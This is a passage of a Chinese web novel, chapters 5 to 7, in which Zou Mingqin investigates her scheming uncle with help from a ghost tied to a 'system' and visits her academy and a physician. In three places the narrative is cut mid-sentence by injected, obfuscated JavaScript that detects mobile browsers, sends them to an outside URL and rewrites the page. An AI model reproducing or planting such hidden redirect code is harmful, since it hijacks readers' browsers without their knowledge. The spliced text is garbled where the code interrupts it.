邹鸣沁瞧着楚嫦并不太好的脸色,微微点了点头安抚她。 “嚯,你这孩子!这说的是什么话。小叔是计较这些的人吗?” 邹亮笑着说完,又四处看了看她们家中的布置,慢悠悠道。 “不过啊,你一向懂事,若是你一定要补偿小叔,我也是接受的。” 姜折阔原在一旁看戏,听了这话都忍不住叹道:“哇塞……” 邹鸣沁仍然从容回道:“那是自然。不过,二叔怎么没和您一起来?” “他啊,”邹亮干笑两声,不知为何,答得有些含糊,“他前些日子大病一场,就不来了,免得为你们招晦气。” “原来如此。” 邹鸣沁笑了笑,这才开始慢慢放软刀子。 “您今日看着,真是面色红润、身康体健,想必近来是有喜事吧?” 邹亮闻言,笑得更用力了,简直就是极力想用夸张的笑声去掩盖什么。 “人逢喜事精神爽嘛!多年来不见你们母女俩,如今久别重逢,都是亲戚,自然开怀。” 他嘴中啧啧称快,眼睛却不敢同邹鸣沁对视。 “何况,鸣沁这孩子长成了这般模样,颇有长兄当年的为人风采,我如何能不欣慰啊?哈哈哈……” 邹鸣沁面上八风不动,心中却觉得十分诡异。 她既没有上榜,邹亮来这一趟,多少有些无处可借题发挥。 几人有来有回地寒暄了一番过后,他便带着邹鸣沁给的“补偿”走了。 “可算是走了。”楚嫦松了一口气。 邹鸣沁拍拍她的手:“娘,莫怕,我在这儿呢。他是什么时候来的?” “你刚出门没多久,突然就来了。”楚嫦皱眉道,“而且,总觉得他和以往不太一样。” 这一点,邹鸣沁方才也隐约察觉到了。 “是不一样。按照往常他的性子,今日知道我没中榜,早就冷嘲热讽一番了。但他这一次来……却只是要了点钱,说话做事还是顾着体面的。” 邹亮这么做,总感觉……像是以后,还想要和她们常来往似的。 “当年分明已经闹得水火不容了……此人真真是没脸没皮。” 饶是楚嫦性情温和,也忍不住沉声骂道。 而后,想起揭榜的结果,她又有些担忧地捧起邹鸣沁的手。 “阿沁,虽然这次没中,但往后还能再考……你心中不要介怀太多。” “我不介怀,而且这个结果,当初我们不也预想过吗?”邹鸣沁摇摇头,“反倒是娘,你应当更宽心些。” 她没有告诉楚嫦,黄榜名单有蹊跷的事。如吕晴瞬所说,这件事还是不要卷入太多人才好。 . . 与长锦一起,将楚嫦送回屋后,邹鸣沁也回到自己房中。 姜折阔捂着眼睛飘了进来。 邹鸣沁颇为疑惑:“你干什么?” “啊?哦,我这不是非礼勿视嘛。” 姜折阔神色颇为严肃正经。 “你们这个朝代的人,应该很注重未婚女子的清白吧?这是你的闺房,我还是不看比较好。” 闻言,邹鸣沁笑了。 “我房中没什么特别的东西,这倒无妨。不过,你要是不嫌累的话,一直捂着也可以。” 姜折阔点点头,二人一时间无话。 过了一会儿,姜折阔开口道:“哎,邹小姐。” “怎么了?”邹鸣沁道。 “你今天为什么还要给那个极品小叔钱呢?”他道,“我刚刚用系统预测了一下,他尝到了这一次的甜头,之后还会接着来找你们的。” “我忙于各种事务,常不在家中。若不维持这层体面,恐怕娘一个人在家时不好应对。” 邹鸣沁解释了一句,也没多说。 “原来如此……” 姜折阔若有所思。 正当此时,外头传来轻轻的敲门声。 “谁?” 外头的人没有回答,而是接着敲门。 三下轻、四下重,短短长短长短短,一共重复了三遍。 这是晴瞬公主定下的暗号之一。 她手下,多有像邹鸣沁这样隐匿真实身份的幕僚,或是在外不轻易露面的暗卫与杀手。 因此,她们碰面时,就常常用各种暗号来确认彼此身份。 邹鸣沁知道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16406400|184487||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,估计这就是吕晴瞬方才在公主府里同她说过的,要派给她差遣的那一小支暗卫。 她打开门,果然看见一个女人。 “进来说。”邹鸣沁带她进屋,而后把房门关上,“我是铭覃。” “崔岩雀。”女人说完自己的名字,又道,“公主派了十五人来,但不好大张旗鼓地来邹府,所以只有我一个人来同你接头。” 邹鸣沁颔首:“明白。现下我就有事要你们帮忙,你且替我传达下去。” 崔岩雀没有多问,只是点点头。 “第一,帮我列出一份详尽的名册,尽可能包含参与过春试相关事务的人。不止是考官和誊抄、看管、运送黄榜的人,而是前前后后的各个环节里,接触过这些事务的所有人。” 邹鸣沁知道,这事儿要查起来可不简单。 于是,说完之后,她认真地看向崔岩雀:“此事可以查得慢些,但必须查仔细。” “嗯。” 崔岩雀面色平静,似乎并不觉得为难。 “五日之内会给你。” “嗯!”这个时间,几乎就是邹鸣沁心中的理想时间,“你们多保重。” 见崔岩雀如此靠谱,她不由得也振奋了些。 “你也是。”崔岩雀淡淡地对着她一笑,而后便转身要走。 不过,邹鸣沁心中总还萦绕着一丝说不清、道不明的怪异感——对邹亮来访的这件事。 左思右想,不如动手调查。 “等等!”她叫住崔岩雀,嘱咐道,“替我监视一个人,把他所有行踪都报给我。此事不难,派一个人去就行。” 邹鸣沁说了邹亮的名字、特征与身份,崔岩雀很快会意。 二人各自点头示意告别。 目送着崔岩雀的身影消失在回廊转角,邹鸣沁关好门。 为什么要特地去查邹亮? 她心里一时间也说不清楚,只是凭着直觉在行动。 “姜折阔……” 当局者迷,旁观者清。 这男鬼今日见证了她经历的这一切,指不定能看出些被她和楚嫦忽略的不对劲来。 这一声没有人应,邹鸣沁环视屋子一圈,都没有看见他。 她走到书案后,才发现他整个人蜷了起来,又睡着了。 他是什么时候睡着的?方才明明还好好的。 而且……姜折阔这个姿势,与其说是睡下,不如说更像是昏迷。 回想起来,虽然她们二人刚认识不久,但姜折阔似乎一直都在犯困和睡觉。 她一时半会儿看不透姜折阔,对他背后藏匿着的、那个被称作“系统”的东西,更是一无所知。 不过,邹鸣沁觉得,比起“鬼”,姜折阔无论是性子,还是给她的感觉,其实都更像是“人”。 那么,总是说着奇怪的话的姜折阔,曾经应该也是人吧? 让原本的姜折阔由人变为鬼的,是何事、何人? 又为什么,它们偏偏要选中她,让她和姜折阔捆绑在一块儿? 并且,还要把姜折阔重新成人的机会交到她的手中…… 邹鸣沁心里的疑问又深了一层。 她没有惊扰姜折阔,转身走出门外。 5. 第 5 章 折阔志 次日一早,邹鸣沁还在睡梦中迷迷糊糊地沉浮着,忽然感觉身旁传来一阵凉意。 她睁开眼,只见姜折阔正双手托着腮、捧着脸,无所事事地趴在她床边。 “干什么?” 邹鸣沁倒也没被吓到,几天过去,她现在只要一感觉到不寻常的阴凉,就知道定是这只男鬼在活动。 姜折阔笑眯眯的,不知道遇到了什么喜事:“没事,你继续睡吧。是不是我在这儿打扰你了?” “那不然呢?”邹鸣沁干脆起床,“有事直说。” “真的?那我可要给你带来一个有用的消息了。” 姜折阔仿佛就在等她说这句话,立即叉起腰来,转了两圈。 “你那个极品小叔,这么多年都没见过你们,这个时候突然找上门来,你不觉得奇怪吗?” 邹鸣沁点点头:“确实奇怪。” “我昨天不是告诉你,他以后还会来找你的吗?” 姜折阔神秘兮兮。 “他的目的,可不止是攀亲戚、从你这儿要钱这么简单。” 邹鸣沁认真地表示赞同:“我也这么觉得,已经让人去查了,应该这两天内就能抓住他的马脚。” “啊?”闻言,姜折阔从容得意的表情一下子僵在了脸上,整个人仿佛经历了五雷轰顶。 邹鸣沁很疑惑:“怎么了?” “你什么时候让人去查的?”姜折阔看起来有点崩溃。 “就昨天啊……”邹鸣沁说到这里,忽然反应过来,“你那个时候就已经睡着了?” 他点了点头。 她昨天就对姜折阔总是犯困的事产生了很多疑问,这倒是个问清楚的好时机。 “你先说吧。他真正的目的是什么?”邹鸣沁穿好外衣,一边坐下梳头发,一边问道。 姜折阔稳住心神,道:“监视你……不,准确来说是监视你家。他受了别人的委托,负责盯着你的行动。” 她听完,便陷入了沉思。 “我知道了。不过,你是怎么知道这个消息的?”邹鸣沁试探道,“靠你那个系统吗?” “某种程度上,算是吧。”姜折阔道,“准确来说,是我和它做了交换。不过,你也太聪明了,我这次交换算是白浪费了。” “昨天你突然睡着,还有你经常犯困,就是代价,对不对?”邹鸣沁直接问出了心中所想。 姜折阔闻言愣了愣,倒是没有再继续这个话题,打岔道:“那倒没有,这算得上什么代价?我就是纯粹的懒而已。” 但邹鸣沁心里的答案已经得到了证实。 她不再追问下去,只是诚恳地道了谢:“谢谢你把这件事告诉我。” “没事,能帮上你就行。”姜折阔倒是很自然,只是看上去有些恹恹的。 邹鸣沁不再接话,二人之间沉默下来。 姜折阔的心情颇为复杂。 他的这个系统还真是诡计多端—— 不久前,姜折阔以灵魂形态来到这个朝代,被系统自动绑定了邹鸣沁。 系统自带一个虚拟商城,里面几乎什么道具都可以换,要是用好了,也能称得上是姜折阔前世看过的那些爽文里的金手指。 当然,在商城里兑换是需要积分的。 而他要是想赚取积分,就必须推进自己的“主线任务”,也就是在“让邹鸣沁对自己好感度提升”和“帮助邹鸣沁搞事业”之中二择其一。 “主线任务”有了进展,他就能获取相应的积分,能兑换不同标价的道具和信息,其中价格最高的便是那足足需要十万积分的“实体化永久使用权”。 他的系统不知道出了什么bug,检测不出邹鸣沁对他的具体好感度,因此,姜折阔也只能选第二条路了。 但邹鸣沁好像根本就不需要他来帮忙,她一个人就可以推动着一切往前走。 昨日,他觉得邹亮不对劲,系统便说自己这里有提示。 等他真要从它嘴里套话时,它又话锋一转,说那是付费内容。 姜折阔心想着,这指不定对邹鸣沁来说很有用呢? 于是咬咬牙,直接在系统的诱导下,贷了整整大半天的自主活动时间,换算成积分,然后买下了这条信息。 结果还真是被坑了。 系统肯定早就知道,邹鸣沁自己便会去查此事。 姜折阔上辈子是个每天都很忙、却又不知道在忙什么的大学生,说实话,他最擅长的就是摆烂。 更别提是在如今这种情况下……他好不容易才燃起一点斗志,却又很轻易地被扑灭了。 他转过头,看到邹鸣沁正坐在书案前,提笔在一张小纸条上写着什么。 姜折阔飘过去看,她正好写下“着重查他近日见过何人,是否会面频繁,是否联系稳定”。 “哎,邹小姐……我有些话,不知道该说还是不该说。” 邹鸣沁抬眸,看了他一眼,又继续看回纸条,笔下不停:“说。” “你……真的要继续查这件事吗?” 姜折阔斟酌着措辞,还是忍不住道。 “也许,邹亮只不过是明面上被遣来监视你的棋子之一。除了他,还会有更多危险等着你。就算这件事查到最后,成功了,可是那又能如何?” 邹鸣沁听他的话,反而皱起了眉。 她一面不解于他的问题,一面坚定地回答:“要成大事,往哪条路上走都不缺艰险。” “我若是怕,一开始就不会走到今天这一步。” 邹鸣沁叠好小纸条,塞进传信的竹筒里。 “此事若是办成,哪怕别的都不提,至少我与学堂的姊妹们,也都能夺回自个的公义。” 姜折阔微微愣住。 她虽然说得是“此事若是办成”,但他听得出来,邹鸣沁言语中对最后的结果没有半分怀疑。 她这样的人,好像根本就不会提前预设自己的失败。 可是,邹鸣沁的理想并不只是个人的成就那么简单。 “你心里想的,毕竟是一个王朝的事。一个人的力量,有时候是无论如何也打不过时代的。”姜折阔道。 “打一打不就知道了吗?” 邹鸣沁神色如常。 她吹响口哨,等待着鸽子飞来。 飞鸽停在她书案上,邹鸣沁起身找了几粒粟米给它,而后不紧不慢地系好竹筒。 她笑着摸了摸鸟儿的羽毛,看着它把粟米粒吃完,“呼啦”一下飞出窗外。 “还是说……姜折阔,你是不是自己就没打过,所以才失望了?” 邹鸣沁把目光投向他,笑意不减。 面前的男鬼,身上套着形式简单的奇装异服,留着极短的头发。 不犯困的时候,他有清澈而莹亮的一双眼。 此时,这双眼睛正微微瞪大。 邹鸣沁很容易就能想象出,它流出泪水时的样子。 如 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16406401|184487||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 果姜折阔是个人,她可以猜想到,她们应该是年龄相仿的。 然而,姜折阔头脑里的所思所想,和她有着天差地别。 “我在做的事,其实并不只有我一个人在做。所以我觉得,没有什么做不成的,且尽力再说吧。” 她肆意地昂起头,全然不知,此时姜折阔心中排山倒海般的震惊。 以及……羞愧。 邹鸣沁太过于敏锐,她竟然问他,“你是不是自己就没打过?” ——是的。 系统,攻略对象,主线任务……初到这个世界,这一切对他来说都是失真的。 尤其,他自己现在还是个无知无觉、与周围的一切实体都无关联的鬼魂。 直至这一刻,姜折阔才发现,原来这几天来,他对待邹鸣沁的态度是暗含着傲慢的。 这种傲慢,来源于他并没有把她和这个世界的一切,当作与自己同一维度的存在来看。 换而言之,他将这一切,都视作为一场沉浸式的游戏。 然而,这一刻的邹鸣沁实在太过肆意、鲜活,甚至是惊人。 她是如此笃信自己的理想,同时也丝毫不质疑自己的行动,无惧于路途中的一切危险。 姜折阔感到羞愧,因为他终于意识到—— 邹鸣沁不仅是一个活人,而且还是一个不会被他人轻易改变、动摇,拥有完全自主意识的人。 她站在此处,便是一声轻笑,一声笃定: 你看好了。 . . 天黑后不久,邹鸣沁便收到了崔岩雀的回信。 信中先是说了那份名册的调查进度,而后又向她说明了邹亮那边的情况。 “他每天的行踪倒是很正常,也没去见什么奇怪的人。” 邹鸣沁皱起眉。 “姜折阔,你那个系统可不可靠啊?” “按理来说是可靠的。”姜折阔有气无力。 要是都这样了,系统卖给他的还是假消息…… 那他也真的没招了。 邹鸣沁倒也不气馁,还反过来安慰他。 “好啦,现在看来,邹亮那边估计用了些遮掩的方法。这不就说明,你这条信息来的更有用了吗?快别垂头丧气了。” 这话听得姜折阔两眼一热:“邹小姐,你人真好……” 邹鸣沁见他这幅样子,反倒惊起一身鸡皮疙瘩。 不由得又把脸绷了起来:“别别别。” 姜折阔:? “我还没怎么见过,男人露出这种表情呢。”邹鸣沁嘀咕道。 她说的是实话。 都说“男儿有泪不轻弹”,邹鸣沁自小见到男人哭,要么就是生死临头,要么就是面对恩情大义。 总之,她极少见到会有男子像姜折阔这样,居然以一种……嗯…… 类似……示好的姿态? 如此轻易地被动容,而后露出要落泪的神情。 而且,还是一种要哭不哭的感觉。 大概也正好因为他是鬼,没法真正流出眼泪来吧。 姜折阔很疑惑:“我这样有什么问题吗……难道你觉得我在夸大?可是我真的觉得你人蛮好的,嗯……就是……哎呀,这样说又好奇怪。” “没什么问题。” 邹鸣沁咳了两声,深思熟虑地想了好一会儿要怎么表达,而后才补充道。 “就,看着也还挺顺眼的。” 6. 第 6 章 连恻隐 既然邹亮这边暂时查不出什么东西,邹鸣沁便打算先放一放。 反正,不论如何,她已经知道了邹亮的目的是监视自己,也好做出应对。 等崔岩雀她们列出那份名册,兴许还要再过上几天。 邹鸣沁打定主意,中间等待的这几天也断然不能白白浪费。 一是要好好陪陪母亲,二是也要把学堂的事务都安排、交代好。 这样若是之后她腾不出空,连恻等人也自会有主张。 天亮过后,邹鸣沁戴上面纱,乔装了一番,打算去一趟鸿雁学堂。 姜折阔照例跟着她,虽然神色还是懒洋洋的,但难得不见他困倦。 “今天这么早出门,你还戴上了面纱……邹小姐,我们是又要去见那位公主吗?” 邹鸣沁摇了摇头:“不是。” “昨日不是说,我这件事,并不只是一个人在出力吗?” 半透不透的面纱之下,姜折阔隐隐约约看见了她在微笑。 “今天就去看看,我的同路人还有谁吧。” . . 到了地方,邹鸣沁没有走学堂正门,而是抄进了一条小路。 姜折阔虽然不明所以,但还是提醒道:“邹小姐,你们学堂的侧门,好像不在这边来着?” “嗯,是啊。” 还没等姜折阔再疑惑下去,邹鸣沁淡淡应了他一声。 然后,找准一处高度相对低一些的墙边,后退助跑了两步,轻功一使,便借力跳了上去。 姜折阔:? 原来完全没有打算要走门吗!? 说好的学堂幕后主理人呢,怎么进去还要靠爬墙啊喂……! 不过,她居然连翻墙都能翻得这么帅。 姜折阔带着满满的震惊、淡淡的敬佩,也连忙跟在她身后,穿过墙进入了学堂。 早晨的鸿雁学堂已经颇为热闹,远远可以听见前厅和大堂里传来的念诵声。 她们进来的这块地方是学堂后院,是提供给一些老师和学生借宿的地方。 “现在还没到统一晨读的时候。” 邹鸣沁靠在一棵树旁,认认真真听着前堂的诸位念“恻隐之心,仁之端也;羞恶之心,义之端也”。 姜折阔感叹道:“她们这么早就起身,自发地晨读起来了?真勤奋啊。” “嗯。”邹鸣沁笑得颇为欣慰,“看来这次春试的结果,不仅没有让大家气馁,反而还激起了她们的斗志。” 她转过身,往院子里的一间屋子走过去。 “行了,先干正事,连恻也该起床了。” 邹鸣沁站在屋门前,敲了敲门。 连恻很快开了门,见到是她,微微一愣:“鸣沁?” “嗯,我们进去说。”邹鸣沁道。 连恻点点头,侧过身让她进屋。 “我近日有些事务要忙,恐怕不便时刻与你们保持联系。” 邹鸣沁开门见山。 “学堂如果在这期间出了什么意外,你直接上报给公主。” 连恻皱起眉头:“你的意思是……有人盯上了学堂?” “这倒说不准。况且,向来就盯着我们学堂的人,难道还少么?” 邹鸣沁随手拿起桌案上的一本古籍。 “其她的事,我暂时不便与你多说。连恻,学堂就拜托你了。无论发生什么,保住学生们的安全是最要紧。” 连恻郑重地点点头:“我知道了,你也要珍重自身。” 这时,她像是忽然想起了什么,问道:“鸣沁,你……近来可有见过什么亲戚?” “亲戚?”邹鸣沁立即想到了邹亮,“何出此言?” “我前两天去医馆,帮小殷抓药,在里头遇到了一个男人。他拿刀出来,逼着孙大夫免费给他药,吓了我和孙大夫一大跳。” 连恻回想起那一日,仍然心有余悸。 “孙大夫同意了,他拿着药本来都走出去了……却又忽然折返回来,说他心情好,不白拿大夫的药,只是先赊账。” “然后呢?他在账单上写了我的名字,是吗?”邹鸣沁道。 连恻先是点头,后又摇头:“他写的是城西邹府,也就是你们家。” 那这个人,估计就是邹亮了。 “好,我知晓了。” 连恻看着她:“那人看上去老奸巨猾,又凶神恶煞,会不会暗中要害你们?我那日实在受了惊吓,一时间忘记了要同你说。今日见了你,才忽然想起这事来。” “无妨,你能同我说这件事,我已然是感激不尽。” 邹鸣沁道谢完,又从怀中抽出一枚玉符。 “这个,你且收着。” 连恻一看,那玉符雕成一只乌鸦形状,用的又是上好的墨玉,不由得一惊。 “鸦符……这是殿下赐予的?” “别问那么多,殿下自然知道我的安排。”邹鸣沁一笑,把鸦符塞进她手里。 连恻犹豫了一下,立即把鸦符藏进了贴身的暗袋里,朝她郑重地点了点头。 这时,隔间传来一阵激烈的咳嗽声。 “小殷!”连恻立即把隔间门打开,冲了过去。 姜折阔被这咳嗽声吓了一跳:“这是怎么了?” “连恻的妹妹,连殷,平日里也是住在学堂里的。”邹鸣沁低声解释道。 现下不好同他多说,她也走进了隔壁屋。 只见一位仅着素白寝衣的少女扶着墙边,正捂着嘴,咳得声音都嘶哑了,却还停不下来。 “阿姊,没事……” 连恻一边给她斟水,一边轻拍着她的背为她顺气,她的咳嗽这才渐渐缓了下来。 连殷抬起眼,这才看到了邹鸣沁。 她苍白的脸上浮起一丝笑容:“铭覃大人,您来了。” 邹鸣沁点了点头,声音听上去与平时稍有不同:“我来同你姐姐议事。你近日还好么,是不是孙大夫的药又不管用了?” “啊,大概是吧。”连殷又笑了笑,“对我还管用的药,越来越少了……” “别说这样的丧气话!” 与平日里的内敛不同,连恻有些急切地打断了她的话。 “阿姊会帮你,寻新的药方和大夫……会慢慢好起来的。” 连殷点点头,脸上仍然挂着浅淡的笑容。 她并没有否定连恻的话,只是小口小口地喝着水,缓了好一会儿,才同连恻说道。 “阿姊,我有些疲乏,先小睡一会儿,好不好?早课的时辰也快到了,你别耽误了大家。况且,铭覃大人说不定还有事……” 连恻仍然有些紧张地看着她:“你现在感觉真的还好么?若一会儿身子有不适,便立即让菡萏去给我报信。知道么?” 她点点头,掀开被褥坐回床上。 这时,一个毛茸茸的头才从里头钻了出来。 “菡萏,你也是,知道了吗?” 连恻摸了摸那只猫儿的头,轻声确认道。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16406402|184487||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 菡萏叫了一声表示应答,连殷笑着拍了拍连恻的手背,又向邹鸣沁投去了含着歉意的目光。 “好好休息,别多想。”看着她睡下,邹鸣沁说道。 连恻带着她回到自己的屋子里,二人一时间沉默下来。 “好了,时辰也快到了。”顿了顿,连恻强打起精神来,“鸣沁,你可还有要嘱咐我的事?” 邹鸣沁摇摇头,倾身抱了抱她。 “照顾小殷,现下还要担扶着整个学堂,辛苦你了。” 连恻的眼眶几乎一瞬间便红了,她怔忪了好一会儿,才点点头。 “这都是我该做的。何况,现下已经很好了,毕竟殿下愿意怜悯我,也有你们帮着我。我不敢再多奢求什么。” 走到屋外,连恻把门关好。 二人一起往大堂的方向走,到了最后一个拐角,邹鸣沁才停下脚步。 “好了,就到这里吧,我最近不好在她们跟前露面。” 连恻点点头,捏了捏她的手。 “祝你办事一切顺利,千万保重自身。若有什么我能帮上的忙,你尽管来找。” . . 同进来时一样,邹鸣沁挑了个没什么人的小角落,翻墙出去。 她把面纱一摘,又解了身上的披风。 正要把东西都收拾好,转头却看见姜折阔一副魂不守舍的模样。 “怎么了?” 姜折阔回过神来,轻声道:“她们两姐妹……还真是……” 他似乎是想在脑中搜罗出一个合适的形容,过了好一会儿才憋出一句。 “可敬,又可怜。” 邹鸣沁点了点头。 她顿了顿,又补上一句:“记住可敬就够了。” 怜,是一种很特殊的情感与态度。 在邹鸣沁的认知里,如果怜悯无法带来实质的帮助,那么它就与轻蔑无异。 想必姜折阔也知道这一点,所以他才会在说出口前犹豫,并最终选择把“可敬”放在前面。 “嗯。”姜折阔闷闷地应了一声。 “那位连殷小姐……她具体是得了什么病?” 过了一会儿,姜折阔忽然问道。 邹鸣沁摇了摇头。 “这怪病没有名字,但大抵是种肺疾。连恻先前在宫中待了很多年,那时候小殷的身体似乎还很好。后来她有机会出宫,回到家才发现,家人都已经在一场火灾中死光了,只剩下小殷一个人。也许是吸了太多烟尘吧,此后她的肺病便再也没好过。” 她说完,又看向姜折阔。 “不过,连恻和连殷都不是甘心认命的人。” 她们两姐妹的命运最终如何,邹鸣沁也无法提前预知。 但,邹鸣沁始终觉得,她们不会走向太坏的结局。 毕竟……“就连她们屋里养的那只猫,菡萏,也是瘸了一条腿,但仍旧能跑得快、还能抓老鼠的。” 邹鸣沁说完这句,正好走出了巷子。 外头艳阳高照,大街上正喧闹得很。 “走吧,我今天的时间很紧呢,只怕不够用。” 姜折阔赶紧跟上:“咦,还要去哪儿?” “长锦这两天身子不爽,我得帮忙去买些东西……我娘还给我列了张单子出来。” 邹鸣沁的脚步愈快。 “还有一件临时多出来的事。” 她得去一趟孙家的医馆。 毕竟……还有人在等着她去还账呢。 7. 第 7 章 孙圣手 大街上人来人往,孙氏医馆则开在巷子最深处,算得上是热闹中取了几分清净。 邹鸣沁刚走进巷子里,就嗅到了一股药味。 一人一鬼到了孙氏医馆门前。 待她跨过门槛,进入屋中,药气便更加浓郁了。 “孙大夫。”邹鸣沁笑了笑,“今日你这里倒是生意冷清。” “哟!是邹小姐啊。” 孙晟首见来人是她,立即举着蒲扇迎了上来。 “我这与旁人不同,既是开医馆的,那生意冷清、无人问津才好呢!” 邹鸣沁闻言,掩面笑了一阵,而后才稍稍收敛了笑意。 孙晟首跑前跑后,在地上放了把椅子,好让她有地方坐。 又赶紧回来,拎起那把扇子,继续看着炉火。 他一边看火煎药,一边问道:“邹小姐,你今日上门,所为何事?是你身子又不好了吗?” 邹鸣沁摇摇头。 孙晟首是楚嫦的旧识,曾是民间有名的游医。 他到处给人看病,从来都是分币不收,顶多只收取一些药钱。 而且,他并不像寻常的江湖郎中那般行蒙拐骗,是实打实的医术高明。 邹鸣沁幼时身子骨弱,隔三差五就生病,哪怕一时治好了,也始终留着个病根在那儿,再好的大夫来看了,也是治标不治本。 后来,孙晟首正好定居在了京城,楚嫦便带她来求治。 他用的方法和药材,也没什么不寻常。 但没过几年,邹鸣沁的体质,竟真的渐渐康健了起来。 如今,孙晟首虽不再四处游历,但孙氏医馆仍然保留着“只收药费、不取看病钱”的规矩。 所以,当初连恻带着连殷四处寻医时,邹鸣沁便向她们引荐了孙氏医馆。 “孙大夫,你我是熟人,我也就不绕弯子,在你这儿旁敲侧听了。” 邹鸣沁直截了当地开了口。 “前几日,是不是有一个男人来此处持刀夺药,而后,还在你的账本上写了我的住处?” 孙晟首回到京城时,她父亲已经死了好几年了,所以他大抵也是不认得邹亮的。 听到这话,孙晟首果然怔了怔。 “这是连恻同你说的?” “幸亏她记着这事,还与我提了一嘴。”邹鸣沁有些无奈,“我要是不来,你怕是一直都不打算告诉我了吧?” 孙晟首叹了口气。 “那人估计就是求药,给他也就是了。我那天立即写了一封信给楚夫人,只是说得委婉,要她注意安全。若你真知道了这件事,免不了节外生枝,也就多一分危险。” 邹鸣沁知道他为何会这样想。 她在孙晟首的眼中,不过还是一个柔弱天真的小辈。 只不过,这件事和她现下在查的东西之间,似乎有着千丝万缕的联系。 “兴许,我知道那人是谁。” 邹鸣沁大致描述了一下邹亮的外貌,果然在孙晟首口中得到了印证。 “他都拿了哪些药走?” 孙晟首细细回想,又翻了翻自己的小札,而后为她列了一条单子出来。 三副药方子,第一方有白及、三七、地榆、黄芪,第二方是当归、乳香、没药、骨碎补等等,第三方又有党参、续断、熟地黄、白芍、杜仲等药材。 他指给邹鸣沁看:“这几副药,通常都用给失血过多的伤者。第一副药方,可助止血固脱,后两副则主要有活血化瘀、去腐生肌、大补气血、续筋连脉的效用。” “这么说,这应当是给同一位伤者用的药,只是用的时间不同。” 邹鸣沁思索着。 “听起来,这个人的伤势,理应是外伤严重、失血过多,并且还伤及到骨脉了?” 孙晟首点点头。 邹鸣沁一时还没想出个所以然来。 邹亮自己好好的,依照他那自私自利的性子,也没什么人能值得他大费周章一番,特地来医馆抢劫几副药走。 除非,他是要去讨好谁。 可这些药都不算名贵——但凡是需要他去讨好的人,绝对看不上这么一星半点东西。 除了她的父亲,邹伦。 但邹伦已逝世多年,按理来说,世上已不会再有这样的人了。于是这一点便也不成立了。 “这些药,该不会是给你另一个叔用的吧?” 耳畔忽然响起姜折阔的声音。 邹鸣沁的脑海如同被一只船桨狠狠搅动了一下,顿时翻涌起千波万浪来。 姜折阔这么一说,她才回想起—— 那日邹亮登门时,她曾问过一嘴,二叔邹宇的行踪。 但那时,邹亮只说他生了一场大病,便把这个问题糊弄了过去。 后面与她谈及邹宇的事,他也明显要紧张许多。 是了,邹宇。八九不离十。 邹鸣沁心中一敲定,这才感觉脑中所思都连接起来,通畅了不少。 如果是邹宇,那就说得过去了。 邹亮是极度利己之人,哪怕是对亲兄弟,在与他利益不合、或是要拖累到他时,他也不会心软,只会立即抛弃对方。 邹鸣沁想,假定现在有一个幕后操盘手,名叫甲。 甲若想借邹亮来监视她,必然提前会把邹亮调查个遍,不可能不知道这么做的利弊。 好处是,邹亮接近和监视她,并不容易被她察觉,也可以搜集到更多情报。 而坏处在于,邹亮此人太容易为利益和生死屈服,几乎没有契约精神可言。 一旦她发现这件事,只需威胁邹亮一番,或对他开出更高的价格,只怕邹亮顷刻间就能倒戈。 所以,要牢牢控制住邹亮,甲不仅要以重利来诱他,还需言明背叛的代价,把他的把柄捏在掌心,方可制住他。 当然,邹亮若是连自己都顾不上,自然也不会在意邹宇的安危。 可万一——他会成为下一个邹宇呢? 所以,他才会乖乖按照甲所说去行事。 甲要续邹宇的命,他便听令抢药来。 至于这药是否名贵,是否真的有效,并不重要。 “邹小姐?” 邹鸣沁抬起头,正对上孙晟首略带担忧的眼睛。 “我没事,孙大夫。”邹鸣沁露出一个恬静的笑容。 孙晟首叹了口气:“看来,你已经猜到那些人是何身份、有何目的了?” “这倒没有。”邹鸣沁含糊地应了一句。 但她还是认认真真地对着孙晟首作了个揖:“不过,今日还要多谢孙大夫告知我此事。之后,还望孙大夫帮我隐瞒好此事,切莫让其她人得知。” “这是自然。” 孙晟首道:“只是,府上唯有你与你母亲,连守卫的家丁也无一个,若真遇上那人……你还是尽量别主动去寻敌,做好防备,切莫逞强,随时传信来。” “是祸躲不过。”邹鸣沁道,“多谢,我一定仔细留意此事,定不打草惊蛇。” . . 出了孙氏医馆的门,姜折阔显然是憋了许久的话,迫不及待地同她谈论起来。 “你小叔那天说你二叔生病,估计是谎话。” 邹鸣沁在路边慢慢走,沉吟道:“大抵如此。不过,现在还有一个问题……” “如果他是单纯抢药给邹宇,为何要在走出医馆大门后,又特地折返回去赊账呢?” 这是她现下最困惑的一点。 姜折阔天马行空:“万一他当时只是一时兴起呢?毕竟若你二叔受了伤,他估计也不痛快。把账记在你们邹府头上,想必可借此发泄一番心中怨忿。” 